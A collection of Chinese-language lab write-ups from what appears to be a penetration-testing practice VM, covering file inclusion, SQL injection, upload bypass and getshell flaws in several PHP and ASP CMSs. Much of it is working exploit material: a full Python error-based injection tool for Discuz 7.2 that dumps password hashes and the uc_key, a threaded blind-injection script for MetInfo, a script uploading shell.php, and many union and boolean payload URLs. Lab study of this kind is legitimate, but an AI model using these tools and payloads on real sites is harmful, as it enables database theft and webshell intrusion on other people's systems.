题目类型:文件包含
使用工具:手工
if( $_GET ) { $file=$_GET['country']; require_once "$file"; } ?>
修改为:
if( $_GET ) { $file=$_GET['country']; require_once "\\cc\\"."$file"; } ?>
修改后访问效果如下:
2. 题目描述中给出了**…/…/etc/passwd**路径提示,可是虚拟机是Windows系统不可能存在上述目录。应该是作者题目没有完善,那就访问点其他什么吧,比如图片信息。
题目类型:文件包含
使用工具:手工
题目类型:注入
使用工具:Modify Headers
题目类型:逆向
使用工具:apktool
不会
题目类型:注入
使用工具:SQLMAP
sqlmap -u http://192.168.6.128/pentest/test/time/index.php?type= -p type -D pentesterlab -T flag --dump
题目类型:基于错误的注入
使用工具:Python
#!/usr/bin/env python #coding:utf-8 """ Author: zw Purpose: Created: 2018年07月17日 """ import urllib import requests import re import sys import argparse from prettytable import PrettyTable CU = False CD = False UK = False PW = False SC = False TB = False CL = False DP = False DB = None DBN = None TBL = None TBLN = None COL = None URL= None def parse_argvs(): global CU,CD,UK,PW,SC,TB,CL,DP,DB,DBN,TBL,TBLN,COL,URL parser = argparse.ArgumentParser(description='Designed for DZ7.2') parser.add_argument('--current-user',help='Retrieve DBMS current user',action='store_true') parser.add_argument('--current-db',help='Retrieve DBMS current database',action='store_true') parser.add_argument('--uc-key',help='Retrieve uc-key',action='store_true') parser.add_argument('--password',help='Enumerate DBMS users password hashes',action='store_true') parser.add_argument('--schemas',help='Enumerate DBMS database schemas',action='store_true') parser.add_argument('--tables',help='Enumerate DBMS database tables',action='store_true') parser.add_argument('--columns',help='Enumerate DBMS database table columns',action='store_true') parser.add_argument('--dump',help='Dump DBMS database table entries',action='store_true') parser.add_argument('-D',help='DBMS database to enumerate',action='store',metavar='id:datatabase') parser.add_argument('-T',help='DBMS database table to enumerate',action='store',metavar='id:table_name') parser.add_argument('-C',help=' DBMS database table column(s) to enumerate',action='store',metavar='col1,col2...') parser.add_argument('-U',help=' DBMS database table column(s) to enumerate',action='store',metavar='URL',required=True) args = parser.parse_args(sys.argv[1:]) CU = args.current_user CD = args.current_db UK = args.uc_key PW = args.password SC = args.schemas TB = args.tables CL = args.columns DP = args.dump if args.D: DB,DBN = args.D.split(':') if args.T: TBL,TBLN = args.T.split(':') COL = args.C URL = args.U def sendRequest(para): para = urllib.urlencode(para) try: res = requests.get(URL+'/faq.php',para,headers={'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201'}) except: print 'Can not connect to target!' exit(0) return res.text def GetCurrentUser(): print 'Start getting current user...' para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} res = sendRequest(para) cu=re.findall("Duplicate entry '(.*?)'",res) if len(cu)==0: print 'Exploit Failed!' return print 'Current User:%s'%cu[0][:-1] def GetCurrentDB(): print 'Start getting current database...' para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} res = sendRequest(para) database=re.findall("Duplicate entry '(.*?)'",res) if len(database)==0: print 'Exploit Failed!' return print 'Current Database:%s'%database[0][:-1] def GetUcKey(): print 'Start getting uc key...' para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'} res=sendRequest(para); res1=sendRequest(para1); key1=re.findall("Duplicate entry '(.*?)'",res) key2=re.findall("Duplicate entry '(.*?)'",res1) if len(key1)==0: print 'Get Uc_Key Failed!' return key=key1[0][:-1]+key2[0][:-1] print 'uc_key:%s'%(key) def GetUserPW(): print 'Start getting user and password...' count = 0 while True: para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%count} res=sendRequest(para); user_list=re.findall("Duplicate entry '(.*?)'",res) if len(user_list)==0: print 'Dump Done!' break user=user_list[0].split(' ') print 'User info: user:%s password:%s'%(user[0][:-1],user[1][:-1]) count += 1 def DumpSchema(): print 'Start dumping schemas...' count = 0 paras = ') and (select 1 from (select count(*),concat(0x5e,(select schema_name from INFORMATION_SCHEMA.SCHEMATA limit %d,1),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)#' table = PrettyTable(['id','schema_name']) while True: para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':paras%count} res=sendRequest(para); tn=re.findall("Duplicate entry '\^(.*?)\^\d'",res); if len(tn)==0: print 'Dump Done!' break table.add_row([count,tn[0]]) count+=1 print table def DumpTableNames(): print 'Start dumping table names...' count = 0 paras = ') and (select 1 from (select count(*),concat(0x5e,(select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=(select schema_name from INFORMATION_SCHEMA.SCHEMATA limit %s,1)'%DB+' limit %d,1),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)#' table = PrettyTable(['id','table_name']) while True: para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':paras%count} res=sendRequest(para); tn=re.findall("Duplicate entry '\^(.*?)\^\d'",res); if len(tn)==0: print 'Dump Done!' break table_name=tn[0].decode('hex') table.add_row([count,table_name]) count+=1 print table def DumpTableColumns(): print 'Start dumping table columns...' count = 0 paras = ') and (select 1 from (select count(*),concat(0x5e,(select column_name from INFORMATION_SCHEMA.COLUMNS where table_name=(select TABLE_NAME from INFORMATION_SCHEMA.TABLES where table_schema=(select schema_name from INFORMATION_SCHEMA.SCHEMATA limit %s,1) limit %s,1)'%(DB,TBL)+' limit %d,1),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)#' table = PrettyTable(['column_name']) while True: para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':paras%count} res=sendRequest(para); pre=re.findall("Duplicate entry '\^(.*?)\^\d'",res); if len(pre)==0: print 'Dump Done!' break table.add_row([pre[0]]) count+=1 print table def DumpData(): print 'Start dumping data...' count = 0 table = PrettyTable(COL.split(',')) columns = COL.replace(',',',0x20,') paras = ') and (select 1 from (select count(*),concat((select concat(%s) from %s'%(columns,DBN+'.'+TBLN)+' limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#' while True: para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':paras%count} res=sendRequest(para); datas=re.findall("Duplicate entry '(.*?)'",res) if len(datas)==0: print 'Dump Done!' break cleandata=datas[0][:-1] info=cleandata.split(' ') table.add_row(info) count+=1 print table if __name__ == '__main__': parse_argvs() if CU: GetCurrentUser() if CD: GetCurrentDB() if UK: GetUcKey() if PW: GetUserPW() if SC: DumpSchema() if TB: if DB: DumpTableNames() else: print "Please specify database id and name" if CL: if DB: if TBL: DumpTableColumns() else: print "Please specify table id and name" else: print "Please specify database id and name" if DP: if DBN: if TBLN: if COL: DumpData() else: print "Please specify columns" else: print "Please specify table id and name" else: print "Please specify database id and name"
题目类型:SQL注入
使用工具:OWASP Mantra
http://192.168.6.128:8081/admin/_content/_About/AspCms_AboutEdit.asp?id=19%20and%201=2%20union%20select%201,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20from%20aspcms_user%20where%20userid=1
题目类型:文件包含
使用工具:OWASP Mantra
http://192.168.6.128/pentest/cve/phpmyadmin/gis_data_editor.php?token=116eb5bfb46d4a8060d7407f9e253590&gis_data[gis_type]=../../../../phpcve/password%00
60 $geom_type = $gis_data['gis_type']; 61 62 // Generate parameters from value passed. 63 $gis_obj = PMA_GIS_Factory::factory($geom_type); 64 echo var_dump($gis_obj); 65 if (isset($_REQUEST['value'])) { 66 $gis_data = array_merge( 67 $gis_data, $gis_obj->generateParams($_REQUEST['value']) 68 ); 69 }
34 if (! file_exists('./libraries/gis/pma_gis_' . $type_lower . '.php')) { 35 echo './libraries/gis/pma_gis_' . $type_lower . '.php'; 36 return false; 37 }
然后再使用上述错误的Poc进行访问错误如下:
这样问题就清晰多了,就是因为相对路径不正确导致factor函数返回False导致的。最终更改PoC如下:
http://192.168.6.128/pentest/cve/phpmyadmin/gis_data_editor.php?token=116eb5bfb46d4a8060d7407f9e253590&gis_data[gis_type]=/../../../../phpcve/password%00
9. 最终使用正确的相对路径后文件包含成功。
题目类型:文件包含
使用工具:OWASP Mantra
<form action="http://192.168.6.128/pentest/cms/qibo/member/comment.php?job=edit" method="POST" enctype="multipart/form-data"> <input type="file" name="cidDB" value="test" style="width:350px;"/><br/> <input type="submit">form>
随意选择一个文件后提交(form表单可以跨越所以cookie等信息会自动带上)并使用burpsuit代理拦截请求,然后将filename参数设置为payload即可。
题目类型:文件上传
使用工具:Burpsuite
1 public function avatar() { 2 if(checksubmit('dosubmit')) { 3 if(empty($_GET['avatar'])) { 4 showmessage('请上传头像','',0); 5 } 6 $avatar = $_GET['avatar']; 7 $x = (int) $_GET['x']; 8 $y = (int) $_GET['y']; 9 $w = (int) $_GET['w']; 10 $h = (int) $_GET['h']; 11 if(is_file($avatar) && file_exists($avatar)) { 12 $ext = strtolower(pathinfo($avatar, PATHINFO_EXTENSION)); 13 $name = basename($avatar, '.'.$ext); 14 $dir = dirname($avatar); 15 if(in_array($ext, array('gif','jpg','jpeg','bmp','png'))) { 16 $name = $name.'_crop_200_200.'.$ext; 17 $file = $dir.'/'.$name; 18 $image = new image($avatar); 19 $image->crop($w, $h, $x, $y, 200, 200); 20 $image->save($file); 21 if(file_exists($file)) { 22 $avatar = getavatar($this->member['id'], false); 23 dir::create(dirname($avatar)); 24 @rename($file, $avatar); 25 showmessage('头像更换成功','',1); 26 } else { 27 showmessage('头像数据裁剪失败','',0); 28 } 29 } else { 30 showmessage('请勿上传非法图片','',0); 31 } 32 } else { 33 showmessage('头像数据异常','',0); 34 } 35 } else { 36 $SEO = seo('修改头像 - 会员中心'); 37 $attachment_init = attachment_init(array('module' => 'member', 'mid' => $this->member['id'])); 38 include template('account_avatar'); 39 } 40 } 41 }
function checksubmit($name) { if(IS_POST) { return TRUE; } else { return FALSE; } }
var uploader = WebUploader.create({
auto:true,
fileVal:'upfile',
// swf文件路径
swf: '/pentest/cms/haidao/statics/js/upload/uploader.swf',
// 文件接收服务端。
server: "/pentest/cms/haidao/index.php?m=attachment&c=index&a=upload",
// 选择文件的按钮。可选
formData:{
file : 'upfile',
upload_init : 'fd54v5lmXnRWIM96wp33LouYWqs6pDAYwGW+vWovciOTOEeuAANJlkWvVwbmuludaaxM0wkp6NpHgaqA0lYo3veIUjTbMvcMyOxZjdv2mQ'
},
// 内部根据当前运行是创建,可能是input元素,也可能是flash.
pick: {
id: '#file-avatar',
multiple:false
},
// 压缩图片大小
compress:{
width: 408,
height: 408,
allowMagnify: false
},
accept:{
title: '图片文件',
extensions: 'gif,jpg,jpeg,bmp,png',
mimeTypes: 'image/*'
},
chunked: false,
chunkSize:1000000,
resize: false
});
uploader.onFileQueued = function(file) {
$(this.options.pick.id).find('.webuploader-pick').html('上传中');
}
uploader.onUploadProgress = function(file, percentage) {
$(this.options.pick.id).find('.webuploader-pick').html('上传中(' + percentage * 100 + '%)');
}
uploader.onUploadSuccess = function(file, response) {
$(this.options.pick.id).find('.webuploader-pick').html('重新上传');
if(response.status == 1) {
if(response.result.width<200||response.result.height<200){
alert("请上传分辨率至少为200*200的图片!");
return false;
}
$("input[name=avatar]").attr("value", response.result.url);
executeAvatarTailor(response.result.url,response.result.width,response.result.height);
} else {
alert(response.message);
}
}
public function upload() { if(IS_POST) { $file = (isset($_GET['file'])) ? $_GET['file'] : 'upfile'; $result = $this->service->setConfig($_GET['upload_init'])->upload($file, FALSE); if($result === FALSE) { showmessage($this->service->error); } else { showmessage('上传成功', '', 1, $this->service->output(), 'json'); } } }
public function upload($field, $filed = null, $iswrite = TRUE) { if(empty($field)) { $this->error = '没有上传任何文件'; return FALSE; } if($this->_config['mid'] < 1) { $this->error = '没有上传权限'; return FALSE; } $upload = new upload($this->_config, $this->_driver); $result = $upload->upload($field); if($result === FALSE) { $this->error = $upload->getError(); return FALSE; } $this->file = $this->write($result, $iswrite); if(is_null($filed)) return $this->file['url']; return $this; }
protected $config = array( /* 根目录 */ 'root' => './uploadfile/', /* 子目录 */ 'path' => 'common', /* 存在同名是否覆盖 */ 'replace' => false, 'hash' => true, 'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组 'allow_exts' => '', //允许上传的后缀 'allow_size' => 0, //允许的文件大小 'allow_mimes' => '',//允许的mime类型 /* 强制后缀名 */ 'save_ext' => '', /* 上传前回调 */ '_before_function' => 'attachment_exists', /* 上传前回调 */ '_after_function' => false, );
此类的构造函数中的config变量可以用于扩充上述定义的config变量,代码如下:
public function __construct($config = array(), $driver = 'local') { $this->config = array_merge($this->config, $config); $this->temp_dir = CACHE_PATH.'temp/'; $this->initialize($driver, $this->config); return $this; }
并定义了get和set函数如下:
public function __get($name) { return $this->config[$name]; } public function __set($name,$value){ $this->config[$name] = $value; }
涉及到的文件过滤的函数有:
private function check($file) { //省略部分代码 /* 检查文件Mime类型 */ //TODO:FLASH上传的文件获取到的mime类型都为application/octet-stream if (!$this->checkMime($file['type'])) { $this->error = '上传文件MIME类型不允许!'; return false; } /* 检查文件后缀 */ if (!$this->checkExt($file['ext'])) { $this->error = '上传文件后缀不允许'; return false; } /* 通过检测 */ return true; }
checkMime代码如下:
private function checkMime($mime) { return empty($this->allow_mimes) ? true : in_array(strtolower($mime), $this->allow_mimes); }
checkExt代码如下:
private function checkExt($ext) { return empty($this->allow_exts) ? true : in_array(strtolower($ext), $this->allow_exts); }
为了确定config变量的最终状态,可以在check函数的第一段添加一行代码,将config变量的内容打印出来:
echo var_dump($this->config);
接下来上传一张照片观察config变量的内容:
通过上图可以看到allow_exts及allow_mimes两个变量为空,故后台没有对文件进行过滤,所以只要绕过前端的WebUploader就可以了。因此直接使用Burpsuite抓取包后修改后缀即可。
题目类型:getshell
使用工具:手工
http://192.168.6.128/pentest/cms/php168/member/post.php
?only=1
&showHtml_Type[bencandy][1]={${phpinfo()}}
&aid=1
&job=endHTML
题目类型:注入
使用工具:手工
http://192.168.6.128/pentest/cms/ecshop/admin/shopinfo.php?act=edit&id=1%20union%20select%201,database(),user()%20limit%201,1%20--%20%27
题目类型:注入
使用工具:手工
192.168.6.128:8081/admin/pinglun.asp?id=71 union select 1,2,3,4,5,6,7,8,9,10,11
题目类型:注入
使用工具:手工
25 if request.form("subsite") <> "" then session("dr_subsite") = request.form("subsite")
26 if session("dr_subsite") <> "" then
27 if request.querystring("subsite") <> "" and session("dr_subsite") <> request.querystring("subsite") then
28 Set rs_config = db_config.getRecordBySQL_PD("select subsite_style,subsite_static from dcore_subsite where subsite_id = " & request.querystring("subsite"))
29 else
30 Set rs_config = db_config.getRecordBySQL_PD("select subsite_style,subsite_static from dcore_subsite where subsite_id = " & session("dr_subsite"))
31 end if
32 else
33 if request.querystring("subsite") <> "" then
34 Set rs_config = db_config.getRecordBySQL_PD("select subsite_style,subsite_static from dcore_subsite where subsite_id = " & request.querystring("subsite"))
35 else
36 Set rs_config = db_config.getRecordBySQL_PD("select subsite_style,subsite_static from dcore_subsite")
37 end if
38 end if
上述条件语句会直接跳转到34行执行,这行代码会利用subsite参数构成查询语句且没有对此参数进行过滤为此产生注入漏洞。
4. 由于上述代码34行查询获得的结果会作为dynamic.asp文件所包含的getstyle.asp页面的参数并不会直接显示到页面中为此不可以使用union查询。这里可以使用基于布尔类型的盲注,比如判断用户名长度可以使用下述PoC:
http://192.168.6.128:8081/dynamic.asp
?temp=index
&subsite=1 and iif((select len((select user_name from dcore_user)) from dcore_user)=5,1,0)
http://192.168.6.128:8081/dynamic.asp
?temp=index
&subsite=1 and iif((select mid((select user_name from dcore_user),1,1) from dcore_user)='a',1,0)
5. Access数据库不像Mysql那样有information_shcema数据库为渗透过程提供便利,在对Access数据库进行注入时可以现在本地搭建一个相同类型的CMS结合本地的数据库结构来判断目标网站的数据库结构。
题目类型:文件包含
使用工具:手工
http://192.168.6.128/pentest/cms/MetInfobaohan/index.php?index=a&skin=default&dataoptimize_html=html/../test.php
import requests target_url = 'http://192.168.6.128/pentest/cms/MetInfobaohan' data = { 'fd_para[1][para]':'filea', 'fd_para[1][type]':'5' } files = {'filea': open("shell.php", 'rb')} upload_url = '%s/feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo' % target_url res = requests.post(upload_url,data = data,files=files)
foreach($fd_para as $key=>$val) { $downloadurl=$val['para']; if($val[type]==5 && isset($_FILES[$downloadurl]) && $_FILES[$downloadurl]['name']!='') { $file_size=$_FILES[$downloadurl]['size']; if($file_size>$met_file_maxsize){ okinfo('javascript:history.go(-1)',$lang_filemaxsize); exit; } $$downloadurl=upload($downloadurl,$met_file_format); } }
1 function upload($form, $met_file_format) { 2 global $lang_js22,$lang_js23,$lang_fileOK,$lang_fileError1,$lang_fileError2,$lang_fileError3,$lang_fileError4; 3 if (is_array($form)) { 4 $filear = $form; 5 } else { 6 $filear = $_FILES[$form]; 7 } 8 if (!is_writable('../upload/file/')) { 9 okinfo('javascript:history.go(-1);',$lang_js22); 10 } 11 //Get extension 12 $ext = explode(".", $filear["name"]); 13 $extnum=count($ext)-1; 14 $ext = $ext[$extnum]; 15 //Save the settings file name 16 srand((double)microtime() * 1000000); 17 $rnd = rand(100, 999); 18 $name = date('U') + $rnd; 19 $name = $name.".".$ext; 20 $met_file_format=str_replace("php","",strtolower($met_file_format)); 21 $met_file_format=str_replace("aspx","",strtolower($met_file_format)); 22 $met_file_format=str_replace("asp","",strtolower($met_file_format)); 23 $met_file_format=str_replace("jsp","",strtolower($met_file_format)); 24 $met_file_format=str_replace("js","",strtolower($met_file_format)); 25 if ($met_file_format != "" && !in_array(strtolower($ext), explode("|", strtolower($met_file_format)))) { 26 okinfo('javascript:history.go(-1);',$lang_js23); 27 } 28 if (!copy($filear["tmp_name"],"../upload/file/".$name)) { 29 $errors = array(0 => "$lang_fileOK", 1 =>"$lang_fileError1 ", 2 => "$lang_fileError2 ", 3 => "$lang_fileError3 ", 4 => "$lang_fileError4 "); 30 } else { 31 @unlink($filear["tmp_name"]); //Delete temporary files 32 } 33 return $name; 34 }
1 $met_index_type = $db->get_one("SELECT * FROM $met_config WHERE name='met_index_type' and lang='metinfo'"); 2 $met_index_type = $met_index_type['value']; 3 $lang=($lang=="")?$met_index_type:$lang; 4 $langoks = $db->get_one("SELECT * FROM $met_lang WHERE lang='$lang'"); 5 if(!$langoks)die('No data in the database,please reinstall.'); 6 if(!$langoks[useok]&&!$metinfoadminok)okinfo('../404.html'); 7 if(count($met_langok)==1)$lang=$met_index_type; /*读配置数据*/ 8 $query = "SELECT * FROM $met_config WHERE lang='$lang' or lang='metinfo'"; 9 $result = $db->query($query); 10 while($list_config= $db->fetch_array($result)){ 11 if($metinfoadminok)$list_config['value']=str_replace('"', '"', str_replace("'", ''',$list_config['value'])); 12 $settings_arr[]=$list_config; 13 if($list_config['columnid']){ 14 $settings[$list_config['name'].'_'.$list_config['columnid']]=$list_config['value']; 15 }else{ 16 $settings[$list_config['name']]=$list_config['value']; 17 } 18 if($list_config['flashid']){ 19 $list_config['value']=explode('|',$list_config['value']); 20 $falshval['type']=$list_config['value'][0]; 21 $falshval['x']=$list_config['value'][1]; 22 $falshval['y']=$list_config['value'][2]; 23 $falshval['imgtype']=$list_config['value'][3]; 24 $met_flasharray[$list_config['flashid']]=$falshval; 25 } 26 } 27 @extract($settings);
在上述代码的第3行中利用三段式给lang变量赋值,如果为空则其值等于met_index_type变量的值,这个变量的值为cn,可以在第3行代码下添加echo met_index_type来验证。
如果lang的值为cn则在第8行中构造出来的查询语句即query的值为:
SELECT * FROM $met_config WHERE lang='cn' or lang='metinfo'
在第9行中执行上述查询语句并在第10行至26行利用查询结果来初始化一些配置变量,在第10行下面添加echo var_dump($list_config);来查看查询结果。在这些返回结果中包括如下一组数据
通过上述数据可以看到当变量lang为cn时会有关于met_file_format的这条记录并在上述代码中第16行将其赋值到settings数组中,并在27行把这个数组注册到php变量中。为此这就覆盖了我们传入的met_file_format变量,导致不能上传php代码。所以在Get请求中设置lang参数并将其值设置为**“metinfo”**就可以绕过上面问题了。
11. 最后需要说明的是由于保存文件名为随机生成的所以需要自行猜解。所以结合上述两个漏洞就可以Getshell了:)!
12. 其实还可以这样做:
题目类型:注入漏洞
使用工具:手工
1.原理可以参考MetInfo5.3 最新版本SQL注射
2.之所以说此漏洞属于盲注是因为include/global.func.php文件中定义了daddslashes函数,这个函数过滤掉了union和select关键字所以没办法使用union来进行攻击。由于没有掉过滤where关键字为此可以构造基于布尔的盲注来获得数据。daddslashes函数关键代码如下:
$string_old = $string; $string = str_ireplace("\"","/",$string); $string = str_ireplace("'","/",$string); $string = str_ireplace("*","/",$string); $string = str_ireplace("~","/",$string); $string = str_ireplace("select", "\sel\ect", $string); $string = str_ireplace("insert", "\ins\ert", $string); $string = str_ireplace("update", "\up\date", $string); $string = str_ireplace("delete", "\de\lete", $string); $string = str_ireplace("union", "\un\ion", $string); $string = str_ireplace("into", "\in\to", $string); $string = str_ireplace("load_file", "\load\_\file", $string); $string = str_ireplace("outfile", "\out\file", $string); $string = str_ireplace("sleep", "\sle\ep", $string);
http://192.168.6.128/pentest/cms/Metinfonew/news/news.php?class2=5&serch_sql=where%20if(length(database())=8,1,0)%20limit%200,1%20--%20&imgproduct=abc
# -*- coding:utf-8 -*- import requests import threading import Queue URL= 'http://172.16.41.128/pentest/cms/Metinfonew/news/news.php?lang=cn&class2=5&serch_sql=%s&imgproduct=abc' var = [i for i in range(ord('a'),ord('z')+1)] var.extend([i for i in range(ord('A'),ord('Z')+1)]) var.extend([ord(str(i)) for i in range(10)]) var.append(ord('_')) var.append(ord('@')) def sendRequest(payload): try: res = requests.get(URL%payload,headers={'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201'}) except: print 'Can not connect to target!' return 2 if '为什么企业要建多国语言网站?'.decode('utf-8') in res.text: return True else: return False def l2s(l): a = '' for i in l: a += i return a def GetCurrentDB(): print 'Start getting current database...' dbn = [] thread_pool = [] var_q = [] find = [] def action(id): while not var_q[id].empty() and find[id]: k = var_q[id].get() payload = 'where if(ascii(substr(database(),%d,1))=%d,1,0) limit 0,1--'%(id+1,k) if sendRequest(URL%payload) == 2: var_q[id].put(k) elif sendRequest(URL%payload) == True: dbn[id] = chr(k) find[id] = 0 break for i in range(20): payload = 'where if(length(database())=%d,1,0) limit 0,1--'%i if sendRequest(payload) == True: print "The length of database name is %d"%i for j in range(i): dbn.append('?') q = Queue.Queue() for k in var: q.put(k) var_q.append(q) find.append(1) for f in range(27): thread = threading.Thread(target=action,args=(j,)) thread.start() thread_pool.append(thread) for tr in thread_pool: if tr.isAlive(): tr.join() break print 'Current Database:%s'%l2s(dbn) GetCurrentDB()